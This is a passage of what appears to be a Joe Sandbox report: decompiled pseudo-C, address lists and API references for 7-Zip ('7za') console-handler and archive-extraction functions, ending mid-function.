				char* _v8;
				int _t3;
				intOrPtr* _t9;

				_push(__ecx);
				_t9 = __ecx;
				 *__ecx = 0x47a258; // executed
				_t3 = SetConsoleCtrlHandler(E004018DA, 1); // executed
				if(_t3 == 0) {
					_v8 = "SetConsoleCtrlHandler fails";
					E0046B8F4( &_v8, 0x47cf70);
				}
				return _t9;
			}

0x004018a5
0x004018a7
0x004018b0
0x004018b6
0x004018be
0x004018c9
0x004018d0
0x004018d0
0x004018d9

APIs

SetConsoleCtrlHandler.KERNEL32(004018DA,00000001), ref: 004018B6
__CxxThrowException@8.LIBC ref: 004018D0

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00401917, Relevance: 3.0, APIs: 2, Instructions: 16

C-Code - Quality: 82%

			E00401917(intOrPtr* __ecx) {
				char* _v8;
				int _t3;

				_push(__ecx);
				 *__ecx = 0x47a258; // executed
				_t3 = SetConsoleCtrlHandler(E004018DA, 0); // executed
				if(_t3 == 0) {
					_v8 = "SetConsoleCtrlHandler fails";
					return E0046B8F4( &_v8, 0x47cf70);
				}
				return _t3;
			}

0x0040191a
0x00401922
0x00401928
0x00401930
0x0040193b
0x00000000
0x00401942
0x00401948

APIs

SetConsoleCtrlHandler.KERNEL32(004018DA,00000000), ref: 00401928
__CxxThrowException@8.LIBC ref: 00401942

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00418554, Relevance: 1.9, APIs: 1, Instructions: 374

C-Code - Quality: 89%

			E00418554(intOrPtr __ecx) {
				intOrPtr _t181;
				signed int _t184;
				signed int* _t187;
				intOrPtr _t188;
				signed int* _t191;
				signed int* _t193;
				void* _t194;
				signed int* _t195;
				void* _t197;
				signed int* _t198;
				void* _t200;
				signed int* _t201;
				intOrPtr _t205;
				signed int* _t207;
				signed int* _t208;
				signed int* _t209;
				intOrPtr* _t213;
				intOrPtr* _t215;
				intOrPtr _t216;
				intOrPtr* _t217;
				intOrPtr* _t220;
				signed int* _t222;
				signed int* _t223;
				signed int* _t224;
				intOrPtr* _t232;
				signed int* _t234;
				signed int* _t235;
				signed int* _t236;
				intOrPtr* _t243;
				signed int* _t245;
				signed int* _t246;
				signed int* _t247;
				intOrPtr _t255;
				signed int _t266;
				signed int _t307;
				signed int _t313;
				intOrPtr _t317;
				signed int** _t319;
				intOrPtr _t320;
				void* _t322;

				E0046B890(E00474E2F, _t322);
				_push(_t313);
				 *((intOrPtr*)(_t322 - 0x20)) = __ecx;
				E00418540(__ecx);
				if( *((intOrPtr*)( *((intOrPtr*)(_t322 + 0xc)) + 8)) < 0x20) {
					while(1) {
						_t317 =  *((intOrPtr*)(_t322 + 0xc));
						_t307 = 1;
						_t313 = _t313 | 0xffffffff;
						_t181 =  *((intOrPtr*)(_t317 + 8));
						 *(_t322 - 0x24) = _t313;
						if(_t181 < _t307) {
							goto L6;
						}
						L4:
						_t266 =  *( *((intOrPtr*)(_t322 - 0x20)) + 8);
						if(_t266 >= _t181) {
							L76:
							 *((char*)( *((intOrPtr*)(_t322 - 0x20)) + 0x30)) = _t266 & 0xffffff00 |  *( *((intOrPtr*)(_t322 - 0x20)) + 8) != 0x00000000;
							_t184 = 0;
							goto L77;
						}
						 *(_t322 - 0x24) =  *( *((intOrPtr*)(_t317 + 0xc)) + (_t181 - _t266) * 4 - 4);
						L7:
						if(_t266 != 0) {
							 *(_t322 - 0x38) = 0;
							 *((short*)(_t322 - 0x36)) = 0;
							_t319 =  *( *((intOrPtr*)( *((intOrPtr*)(_t322 - 0x20)) + 0xc)) + _t266 * 4 - 4);
							_t187 =  *_t319;
							 *(_t322 - 4) = _t307;
							_t188 =  *((intOrPtr*)( *_t187 + 0x20))(_t187, _t307, _t322 - 0x38);
							if(_t188 != 0) {
								L35:
								 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
								_t320 = _t188;
								E0040C20F(_t322 - 0x38);
								L71:
								_t184 = _t320;
								goto L77;
							}
							if( *(_t322 - 0x38) != 0x13) {
								L75:
								 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
								_t266 = _t322 - 0x38;
								E0040C20F(_t266);
								goto L76;
							}
							_t191 =  *_t319;
							_t313 =  *(_t322 - 0x30);
							_t188 =  *((intOrPtr*)( *_t191 + 0x14))(_t191, _t322 - 0x3c);
							if(_t188 != 0) {
								goto L35;
							}
							if(_t313 >=  *((intOrPtr*)(_t322 - 0x3c))) {
								goto L75;
							}
							 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
							E0040C20F(_t322 - 0x38);
							 *(_t322 - 0x10) = 0;
							_t193 =  *_t319;
							_t266 =  *_t193;
							 *(_t322 - 4) = 2;
							_t194 =  *_t266(_t193, 0x47a5e8, _t322 - 0x10);
							_t195 =  *(_t322 - 0x10);
							if(_t194 != 0 || _t195 == 0) {
								 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
								goto L52;
							} else {
								 *(_t322 - 0x14) = 0;
								_t266 =  *_t195;
								 *(_t322 - 4) = 3;
								_t197 =  *((intOrPtr*)(_t266 + 0xc))(_t195, _t313, _t322 - 0x14);
								_t198 =  *(_t322 - 0x14);
								if(_t197 != 0 || _t198 == 0) {
									 *(_t322 - 4) = 2;
									goto L49;
								} else {
									 *(_t322 - 0x18) = 0;
									_t266 =  *_t198;
									 *(_t322 - 4) = 4;
									_t200 =  *_t266(_t198, 0x47a638, _t322 - 0x18);
									_t201 =  *(_t322 - 0x18);
									if(_t200 != 0 || _t201 == 0) {
										 *(_t322 - 4) = 3;
										goto L46;
									} else {
										E004189B9(_t322 - 0x78);
										_push(_t322 - 0x74);
										_push(_t313);
										 *(_t322 - 4) = 5;
										_t205 = E004179F7(_t319);
										 *((intOrPtr*)(_t322 - 0x28)) = _t205;
										if(_t205 != 0) {
											 *(_t322 - 4) = 4;
											E004039FA(_t322 - 0x78);
											_t207 =  *(_t322 - 0x18);
											 *(_t322 - 4) = 3;
											if(_t207 != 0) {
												 *((intOrPtr*)( *_t207 + 8))(_t207);
											}
											_t208 =  *(_t322 - 0x14);
											 *(_t322 - 4) = 2;
											if(_t208 != 0) {
												 *((intOrPtr*)( *_t208 + 8))(_t208);
											}
											_t209 =  *(_t322 - 0x10);
											 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
											if(_t209 != 0) {
												 *((intOrPtr*)( *_t209 + 8))(_t209);
											}
											_t184 =  *((intOrPtr*)(_t322 - 0x28));
											goto L77;
										}
										 *((intOrPtr*)(_t322 - 0x1c)) = 0;
										_t213 =  *((intOrPtr*)(_t322 + 0x1c));
										 *(_t322 - 4) = 6;
										 *((intOrPtr*)( *_t213))(_t213, 0x47a5d8, _t322 - 0x1c);
										_t215 =  *((intOrPtr*)(_t322 - 0x1c));
										if(_t215 != 0) {
											 *((intOrPtr*)( *_t215 + 0xc))(_t215,  *((intOrPtr*)(_t322 - 0x74)));
										}
										 *(_t322 - 0x58) = _t313;
										_t216 = E00417BAE(_t322 - 0x78,  *((intOrPtr*)(_t322 + 8)),  *(_t322 - 0x24),  *(_t322 - 0x18), 0,  *((intOrPtr*)(_t322 + 0x1c)));
										 *((intOrPtr*)(_t322 - 0x28)) = _t216;
										if(_t216 == 1) {
											_t217 =  *((intOrPtr*)(_t322 - 0x1c));
											 *(_t322 - 4) = 5;
											if(_t217 != 0) {
												 *((intOrPtr*)( *_t217 + 8))(_t217);
											}
											_t266 = _t322 - 0x78;
											 *(_t322 - 4) = 4;
											E004039FA(_t266);
											_t201 =  *(_t322 - 0x18);
											 *(_t322 - 4) = 3;
											L46:
											if(_t201 != 0) {
												_t266 =  *_t201;
												 *((intOrPtr*)(_t266 + 8))(_t201);
											}
											_t198 =  *(_t322 - 0x14);
											 *(_t322 - 4) = 2;
											L49:
											if(_t198 != 0) {
												_t266 =  *_t198;
												 *((intOrPtr*)(_t266 + 8))(_t198);
											}
											 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
											_t195 =  *(_t322 - 0x10);
											L52:
											if(_t195 != 0) {
												_t266 =  *_t195;
												 *((intOrPtr*)(_t266 + 8))(_t195);
											}
											goto L76;
										} else {
											if(_t216 != 0) {
												_t220 =  *((intOrPtr*)(_t322 - 0x1c));
												 *(_t322 - 4) = 5;
												if(_t220 != 0) {
													 *((intOrPtr*)( *_t220 + 8))(_t220);
												}
												 *(_t322 - 4) = 4;
												E004039FA(_t322 - 0x78);
												_t222 =  *(_t322 - 0x18);
												 *(_t322 - 4) = 3;
												if(_t222 != 0) {
													 *((intOrPtr*)( *_t222 + 8))(_t222);
												}
												_t223 =  *(_t322 - 0x14);
												 *(_t322 - 4) = 2;
												if(_t223 != 0) {
													 *((intOrPtr*)( *_t223 + 8))(_t223);
												}
												_t224 =  *(_t322 - 0x10);
												 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
												if(_t224 != 0) {
													 *((intOrPtr*)( *_t224 + 8))(_t224);
												}
												_t184 =  *((intOrPtr*)(_t322 - 0x28));
												goto L77;
											}
											_t320 = E00417B16(_t319, _t313, _t322 - 0x54, _t322 - 0x4c);
											if(_t320 != 0) {
												_t232 =  *((intOrPtr*)(_t322 - 0x1c));
												 *(_t322 - 4) = 5;
												if(_t232 != 0) {
													 *((intOrPtr*)( *_t232 + 8))(_t232);
												}
												 *(_t322 - 4) = 4;
												E004039FA(_t322 - 0x78);
												_t234 =  *(_t322 - 0x18);
												 *(_t322 - 4) = 3;
												if(_t234 != 0) {
													 *((intOrPtr*)( *_t234 + 8))(_t234);
												}
												_t235 =  *(_t322 - 0x14);
												 *(_t322 - 4) = 2;
												if(_t235 != 0) {
													 *((intOrPtr*)( *_t235 + 8))(_t235);
												}
												_t236 =  *(_t322 - 0x10);
												 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
												if(_t236 != 0) {
													 *((intOrPtr*)( *_t236 + 8))(_t236);
												}
												goto L71;
											}
											_push(_t322 - 0x78);
											E00418F34( *((intOrPtr*)(_t322 - 0x20)));
											_t243 =  *((intOrPtr*)(_t322 - 0x1c));
											 *(_t322 - 4) = 5;
											if(_t243 != 0) {
												 *((intOrPtr*)( *_t243 + 8))(_t243);
											}
											 *(_t322 - 4) = 4;
											E004039FA(_t322 - 0x78);
											_t245 =  *(_t322 - 0x18);
											 *(_t322 - 4) = 3;
											if(_t245 != 0) {
												 *((intOrPtr*)( *_t245 + 8))(_t245);
											}
											_t246 =  *(_t322 - 0x14);
											 *(_t322 - 4) = 2;
											if(_t246 != 0) {
												 *((intOrPtr*)( *_t246 + 8))(_t246);
											}
											_t247 =  *(_t322 - 0x10);
											 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
											if(_t247 != 0) {
												 *((intOrPtr*)( *_t247 + 8))(_t247);
											}
											while(1) {
												_t317 =  *((intOrPtr*)(_t322 + 0xc));
												_t307 = 1;
												_t313 = _t313 | 0xffffffff;
												_t181 =  *((intOrPtr*)(_t317 + 8));
												 *(_t322 - 0x24) = _t313;
												if(_t181 < _t307) {
													goto L6;
												}
												goto L4;
											}
										}
									}
								}
							}
						}
						E004189B9(_t322 - 0xb4);
						 *(_t322 - 4) = 0;
						E00401E26(_t322 - 0xb0,  *((intOrPtr*)(_t322 + 0x18)));
						 *(_t322 - 0x94) = _t313;
						_t255 = E004183FD(_t322 - 0xb4,  *((intOrPtr*)(_t322 + 8)),  *(_t322 - 0x24),  *((intOrPtr*)(_t322 + 0x10)),  *((intOrPtr*)(_t322 + 0x14)),  *((intOrPtr*)(_t322 + 0x1c))); // executed
						_t320 = _t255;
						if(_t320 != 0) {
							 *(_t322 - 4) = _t313;
							E004039FA(_t322 - 0xb4);
							goto L71;
						}
						_push(_t322 - 0xb4);
						E00418F34( *((intOrPtr*)(_t322 - 0x20)));
						 *(_t322 - 4) = _t313;
						E004039FA(_t322 - 0xb4);
						continue;
						L6:
						_t266 =  *( *((intOrPtr*)(_t322 - 0x20)) + 8);
						if(_t266 >= 0x20) {
							goto L76;
						}
						goto L7;
					}
				} else {
					_t184 = 0x80004001;
					L77:
					 *[fs:0x0] =  *((intOrPtr*)(_t322 - 0xc));
					return _t184;
				}
			}

0x00418559
0x00418566
0x00418567
0x0041856a
0x00418578
0x00418586
0x00418586
0x0041858b
0x0041858c
0x0041858f
0x00418592
0x00418597
0x00000000
0x00000000
0x00418599
0x0041859c
0x004185a1
0x0041899a
0x004189a3
0x004189a6
0x00000000
0x004189a6
0x004185b0
0x004185c4
0x004185c6
0x00418633
0x00418637
0x0041863e
0x00418642
0x0041864c
0x0041864f
0x00418654
0x00418814
0x00418814
0x0041881b
0x0041881d
0x0041896f
0x0041896f
0x00000000
0x0041896f
0x0041865f
0x0041898e
0x0041898e
0x00418992
0x00418995
0x00000000
0x00418995
0x00418665
0x00418667
0x00418671
0x00418676
0x00000000
0x00000000
0x0041867f
0x00000000
0x00000000
0x00418685
0x0041868c
0x00418691
0x00418694
0x0041869f
0x004186a2
0x004186a9
0x004186ad
0x004186b0
0x00418985
0x00000000
0x004186be
0x004186be
0x004186c1
0x004186c9
0x004186cd
0x004186d2
0x004186d5
0x0041897c
0x00000000
0x004186e3
0x004186e3
0x004186e6
0x004186f2
0x004186f6
0x004186fa
0x004186fd
0x00418973
0x00000000
0x0041870b
0x0041870e
0x00418718
0x00418719
0x0041871a
0x0041871e
0x00418725
0x00418728
0x0041882a
0x0041882e
0x00418833
0x00418836
0x0041883c
0x00418841
0x00418841
0x00418844
0x00418847
0x0041884d
0x00418852
0x00418852
0x00418855
0x00418858
0x0041885e
0x00418863
0x00418863
0x00418866
0x00000000
0x00418866
0x0041872e
0x00418731
0x00418740
0x00418744
0x00418746
0x0041874b
0x00418753
0x00418753
0x0041875c
0x00418769
0x00418771
0x00418774
0x0041886e
0x00418871
0x00418877
0x0041887c
0x0041887c
0x0041887f
0x00418882
0x00418886
0x0041888b
0x0041888e
0x00418892
0x00418894
0x00418896
0x00418899
0x00418899
0x0041889c
0x0041889f
0x004188a3
0x004188a5
0x004188a7
0x004188aa
0x004188aa
0x004188ad
0x004188b1
0x004188b4
0x004188b6
0x004188bc
0x004188bf
0x004188bf
0x00000000
0x0041877a
0x0041877c
0x004188c7
0x004188ca
0x004188d0
0x004188d5
0x004188d5
0x004188db
0x004188df
0x004188e4
0x004188e7
0x004188ed
0x004188f2
0x004188f2
0x004188f5
0x004188f8
0x004188fe
0x00418903
0x00418903
0x00418906
0x00418909
0x0041890f
0x00418914
0x00418914
0x00418917
0x00000000
0x00418917
0x00418792
0x00418796
0x0041891f
0x00418922
0x00418928
0x0041892d
0x0041892d
0x00418933
0x00418937
0x0041893c
0x0041893f
0x00418945
0x0041894a
0x0041894a
0x0041894d
0x00418950
0x00418956
0x0041895b
0x0041895b
0x0041895e
0x00418961
0x00418967
0x0041896c
0x0041896c
0x00000000
0x00418967
0x004187a2
0x004187a3
0x004187a8
0x004187ab
0x004187b1
0x004187b6
0x004187b6
0x004187bc
0x004187c0
0x004187c5
0x004187c8
0x004187ce
0x004187d3
0x004187d3
0x004187d6
0x004187d9
0x004187df
0x004187e4
0x004187e4
0x004187e7
0x004187ea
0x004187f0
0x004187f9
0x004187f9
0x00418586
0x00418586
0x0041858b
0x0041858c
0x0041858f
0x00418592
0x00418597
0x00000000
0x00000000
0x00000000
0x00418597
0x00418586
0x00418774
0x004186fd
0x004186d5
0x004186b0
0x004185ce
0x004185dc
0x004185df
0x004185ed
0x004185ff
0x00418604
0x00418608
0x00418807
0x0041880a
0x00000000
0x0041880a
0x00418617
0x00418618
0x00418623
0x00418626
0x00000000
0x004185b5
0x004185b8
0x004185be
0x00000000
0x00000000
0x00000000
0x004185be
0x0041857a
0x0041857a
0x004189a8
0x004189ae
0x004189b6
0x004189b6

APIs

__EH_prolog.LIBCMT ref: 00418559

Part of subcall function 004183FD: __EH_prolog.LIBCMT ref: 00418402
Part of subcall function 004183FD: GetLastError.KERNEL32(00000001,00000000,?,?,00000000,?,?,00418604,?,00000001,?,?,?,?,?,00000000), ref: 00418486

Part of subcall function 004189B9: __EH_prolog.LIBCMT ref: 004189BE

Part of subcall function 004179F7: __EH_prolog.LIBCMT ref: 004179FC

Part of subcall function 00417BAE: __EH_prolog.LIBCMT ref: 00417BB3

Part of subcall function 00417B16: __EH_prolog.LIBCMT ref: 00417B1B

Part of subcall function 00418F34: __EH_prolog.LIBCMT ref: 00418F39

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043C690, Relevance: 1.9, APIs: 1, Instructions: 374

C-Code - Quality: 89%

			E0043C690(void* __eflags) {
				signed int _t199;
				intOrPtr _t202;
				intOrPtr* _t214;
				signed int _t216;
				signed int _t217;
				signed int _t225;
				signed int _t229;
				intOrPtr _t230;
				signed int _t233;
				signed int _t240;
				signed int _t241;
				signed int _t251;
				signed int _t254;
				signed int _t264;
				signed int _t265;
				signed int _t270;
				signed int _t271;
				signed int _t274;
				signed int _t281;
				intOrPtr _t282;
				signed int _t287;
				signed int _t289;
				signed int _t296;
				intOrPtr _t318;
				void* _t331;
				intOrPtr* _t335;
				signed int _t336;
				signed int _t337;
				intOrPtr _t338;
				intOrPtr* _t339;
				intOrPtr* _t340;
				signed int _t348;
				signed int _t349;
				void* _t350;
				void* _t352;

				E0046B890(E0047875D, _t350);
				_t287 = 0;
				 *((intOrPtr*)(_t350 - 0x10)) = _t352 - 0x10c;
				 *(_t350 - 4) = 0;
				E0043CB1D(_t350 - 0x80);
				_t331 = 0;
				 *(_t350 - 4) = 1;
				 *(_t350 - 0x28) = 0;
				 *(_t350 - 0x24) = 0;
				 *((char*)(_t350 - 0x15)) =  *((intOrPtr*)(_t350 + 0x10)) == 0xffffffff;
				if( *((char*)(_t350 - 0x15)) != 0) {
					 *((intOrPtr*)(_t350 + 0x10)) =  *((intOrPtr*)( *((intOrPtr*)(_t350 + 8)) + 0x18));
				}
				if( *((intOrPtr*)(_t350 + 0x10)) == _t287) {
					L68:
					 *(_t350 - 4) =  *(_t350 - 4) & 0x00000000;
					E0043CB53(_t350 - 0x80, __eflags);
					_t199 = 0;
					L69:
					 *[fs:0x0] =  *((intOrPtr*)(_t350 - 0xc));
					return _t199;
				}
				_t296 = 0;
				while(_t296 <  *((intOrPtr*)(_t350 + 0x10))) {
					if( *((char*)(_t350 - 0x15)) == 0) {
						_t281 =  *( *((intOrPtr*)(_t350 + 0xc)) + _t296 * 4);
					} else {
						_t281 = _t296;
					}
					_t282 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t350 + 8)) + 0x1c)) + _t281 * 4));
					_t331 = _t331 +  *((intOrPtr*)(_t282 + 0x18));
					asm("adc esi, ebx");
					 *(_t350 - 0x28) =  *(_t350 - 0x28) +  *((intOrPtr*)(_t282 + 0x10));
					asm("adc [ebp-0x24], eax");
					_t296 = _t296 + 1;
					_t287 = 0;
				}
				_t335 =  *((intOrPtr*)(_t350 + 0x18));
				_t348 =  *((intOrPtr*)( *_t335 + 0xc))(_t335, _t331, 0);
				__eflags = _t348 - _t287;
				if(__eflags == 0) {
					_push(0x38);
					 *(_t350 - 0x34) = _t287;
					 *(_t350 - 0x30) = _t287;
					 *(_t350 - 0x28) = _t287;
					 *(_t350 - 0x24) = _t287;
					_t202 = E004079F2();
					 *((intOrPtr*)(_t350 - 0x38)) = _t202;
					__eflags = _t202 - _t287;
					 *(_t350 - 4) = 2;
					if(_t202 == _t287) {
						_t349 = 0;
						__eflags = 0;
					} else {
						_t349 = E0040F3E5(_t202);
					}
					__eflags = _t349 - _t287;
					 *(_t350 - 4) = 1;
					 *(_t350 - 0x1c) = _t349;
					if(_t349 != _t287) {
						 *((intOrPtr*)( *_t349 + 4))(_t349);
					}
					_push(_t287);
					 *(_t350 - 4) = 3;
					E0040F478(_t349, _t335);
					 *(_t350 - 0x2c) = _t287;
					while(1) {
						__eflags =  *(_t350 - 0x2c) -  *((intOrPtr*)(_t350 + 0x10));
						if( *(_t350 - 0x2c) >=  *((intOrPtr*)(_t350 + 0x10))) {
							break;
						}
						 *(_t349 + 0x20) =  *(_t350 - 0x28);
						 *(_t349 + 0x24) =  *(_t350 - 0x24);
						 *(_t349 + 0x28) =  *(_t350 - 0x34);
						 *(_t350 - 0x48) = _t287;
						 *(_t350 - 0x44) = _t287;
						 *(_t350 - 0x40) = _t287;
						 *(_t350 - 0x3c) = _t287;
						 *(_t349 + 0x2c) =  *(_t350 - 0x30);
						_t336 = E0040F554(_t349);
						__eflags = _t336 - _t287;
						if(_t336 == _t287) {
							 *(_t350 - 0x14) = _t287;
							__eflags =  *(_t350 + 0x14) - _t287;
							 *(_t350 - 4) = 4;
							__eflags =  *((char*)(_t350 - 0x15));
							 *(_t350 - 0x20) = 0 |  *(_t350 + 0x14) != _t287;
							if( *((char*)(_t350 - 0x15)) == 0) {
								_t337 =  *( *((intOrPtr*)(_t350 + 0xc)) +  *(_t350 - 0x2c) * 4);
							} else {
								_t337 =  *(_t350 - 0x2c);
							}
							_t214 =  *((intOrPtr*)(_t350 + 0x18));
							_t332 = _t350 - 0x14;
							_t289 =  *((intOrPtr*)( *_t214 + 0x14))(_t214, _t337, _t350 - 0x14,  *(_t350 - 0x20));
							__eflags = _t289;
							if(__eflags != 0) {
								L47:
								_t216 =  *(_t350 - 0x14);
								 *(_t350 - 4) = 3;
								__eflags = _t216;
								if(_t216 != 0) {
									 *((intOrPtr*)( *_t216 + 8))(_t216);
								}
								_t217 =  *(_t350 - 0x1c);
								 *(_t350 - 4) = 1;
								__eflags = _t217;
								if(__eflags != 0) {
									 *((intOrPtr*)( *_t217 + 8))(_t217);
								}
								 *(_t350 - 4) =  *(_t350 - 4) & 0x00000000;
								E0043CB53(_t350 - 0x80, __eflags);
								_t199 = _t289;
								goto L69;
							} else {
								_t290 =  *((intOrPtr*)(_t350 + 8));
								_t338 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t350 + 8)) + 0x1c)) + _t337 * 4));
								E0043CBF4(_t350 - 0x118, __eflags, _t338);
								 *((intOrPtr*)(_t350 - 0x88)) =  *((intOrPtr*)(_t338 + 0x90));
								 *((short*)(_t350 - 0x84)) =  *((intOrPtr*)(_t338 + 0x94));
								__eflags =  *((char*)(_t350 - 0x90));
								 *(_t350 - 4) = 5;
								if( *((char*)(_t350 - 0x90)) != 0) {
									L36:
									_t225 = E00440593(_t350 - 0x118);
									__eflags = _t225;
									if(_t225 != 0) {
										_t339 =  *((intOrPtr*)(_t350 + 0x18));
										_t289 =  *((intOrPtr*)( *_t339 + 0x18))(_t339,  *(_t350 - 0x20));
										__eflags = _t289;
										if(__eflags != 0) {
											L46:
											 *(_t350 - 4) = 4;
											E0043CD47(_t350 - 0x118, __eflags);
											goto L47;
										}
										_t229 =  *(_t350 - 0x14);
										__eflags = _t229;
										if(_t229 != 0) {
											 *((intOrPtr*)( *_t229 + 8))(_t229);
											_t164 = _t350 - 0x14;
											 *_t164 =  *(_t350 - 0x14) & _t289;
											__eflags =  *_t164;
										}
										_t230 =  *_t339;
										_push(0);
										L60:
										_t336 =  *((intOrPtr*)(_t230 + 0x1c))(_t339);
										__eflags = _t336;
										if(__eflags == 0) {
											L64:
											 *(_t350 - 4) = 4;
											E0043CD47(_t350 - 0x118, __eflags);
											_t233 =  *(_t350 - 0x14);
											 *(_t350 - 4) = 3;
											__eflags = _t233;
											if(_t233 != 0) {
												 *((intOrPtr*)( *_t233 + 8))(_t233);
											}
											L66:
											 *(_t350 - 0x2c) =  *(_t350 - 0x2c) + 1;
											 *(_t350 - 0x34) =  *(_t350 - 0x34) +  *(_t350 - 0x48);
											asm("adc [ebp-0x30], eax");
											 *(_t350 - 0x28) =  *(_t350 - 0x28) +  *(_t350 - 0x40);
											asm("adc [ebp-0x24], eax");
											_t287 = 0;
											continue;
										}
										L61:
										 *(_t350 - 4) = 4;
										E0043CD47(_t350 - 0x118, __eflags);
										_t240 =  *(_t350 - 0x14);
										 *(_t350 - 4) = 3;
										__eflags = _t240;
										if(_t240 != 0) {
											 *((intOrPtr*)( *_t240 + 8))(_t240);
										}
										_t241 =  *(_t350 - 0x1c);
										 *(_t350 - 4) = 1;
										__eflags = _t241;
										L20:
										if(__eflags != 0) {
											 *((intOrPtr*)( *_t241 + 8))(_t241);
										}
										L54:
										 *(_t350 - 4) =  *(_t350 - 4) & 0x00000000;
										E0043CB53(_t350 - 0x80, __eflags);
										_t199 = _t336;
										goto L69;
									}
									__eflags =  *(_t350 + 0x14);
									 *(_t350 - 0x48) =  *(_t350 - 0x100);
									 *(_t350 - 0x44) =  *(_t350 - 0xfc);
									 *(_t350 - 0x40) =  *(_t350 - 0x108);
									 *(_t350 - 0x3c) =  *(_t350 - 0x104);
									if( *(_t350 + 0x14) != 0) {
										L39:
										_t340 =  *((intOrPtr*)(_t350 + 0x18));
										_t251 =  *((intOrPtr*)( *_t340 + 0x18))(_t340,  *(_t350 - 0x20));
										__eflags = _t251;
										 *(_t350 - 0x20) = _t251;
										if(__eflags == 0) {
											_t254 = E0043BA05(_t350 - 0x80, _t332, _t290 + 0x28, _t350 - 0x118,  *(_t350 - 0x14), _t340,  *(_t350 - 0x1c),  *((intOrPtr*)(_t290 + 0xc4)), _t350 - 0x38); // executed
											_t289 = _t254;
											__eflags = _t289;
											if(__eflags == 0) {
												E00437D6C(_t350 - 0x14);
												_t336 =  *((intOrPtr*)( *_t340 + 0x1c))(_t340,  *((intOrPtr*)(_t350 - 0x38)));
												 *(_t350 - 4) = 4;
												__eflags = _t336;
												_t318 = _t350 - 0x118;
												if(__eflags == 0) {
													E0043CD47(_t318, __eflags);
													 *(_t350 - 4) = 3;
													E0043361B(_t350 - 0x14);
													goto L66;
												}
												E0043CD47(_t318, __eflags);
												 *(_t350 - 4) = 3;
												E0043361B(_t350 - 0x14);
												 *(_t350 - 4) = 1;
												E0043361B(_t350 - 0x1c);
												goto L54;
											}
											goto L46;
										}
										 *(_t350 - 4) = 4;
										E0043CD47(_t350 - 0x118, __eflags);
										_t264 =  *(_t350 - 0x14);
										 *(_t350 - 4) = 3;
										__eflags = _t264;
										if(_t264 != 0) {
											 *((intOrPtr*)( *_t264 + 8))(_t264);
										}
										_t265 =  *(_t350 - 0x1c);
										 *(_t350 - 4) = 1;
										__eflags = _t265;
										if(__eflags != 0) {
											 *((intOrPtr*)( *_t265 + 8))(_t265);
										}
										 *(_t350 - 4) =  *(_t350 - 4) & 0x00000000;
										E0043CB53(_t350 - 0x80, __eflags);
										_t199 =  *(_t350 - 0x20);
										goto L69;
									}
									__eflags =  *(_t350 - 0x14);
									if(__eflags == 0) {
										goto L64;
									}
									goto L39;
								}
								_push(_t350 - 0x118); // executed
								_t270 = E0043F244(_t290 + 0x28); // executed
								_t336 = _t270;
								__eflags = _t336 - 1;
								if(_t336 != 1) {
									__eflags = _t336;
									if(__eflags != 0) {
										goto L61;
									}
									goto L36;
								}
								_t271 = E00440593(_t350 - 0x118);
								__eflags = _t271;
								if(_t271 != 0) {
									L31:
									_t339 =  *((intOrPtr*)(_t350 + 0x18));
									_t289 =  *((intOrPtr*)( *_t339 + 0x18))(_t339,  *(_t350 - 0x20));
									__eflags = _t289;
									if(__eflags != 0) {
										goto L46;
									}
									_t274 =  *(_t350 - 0x14);
									__eflags = _t274;
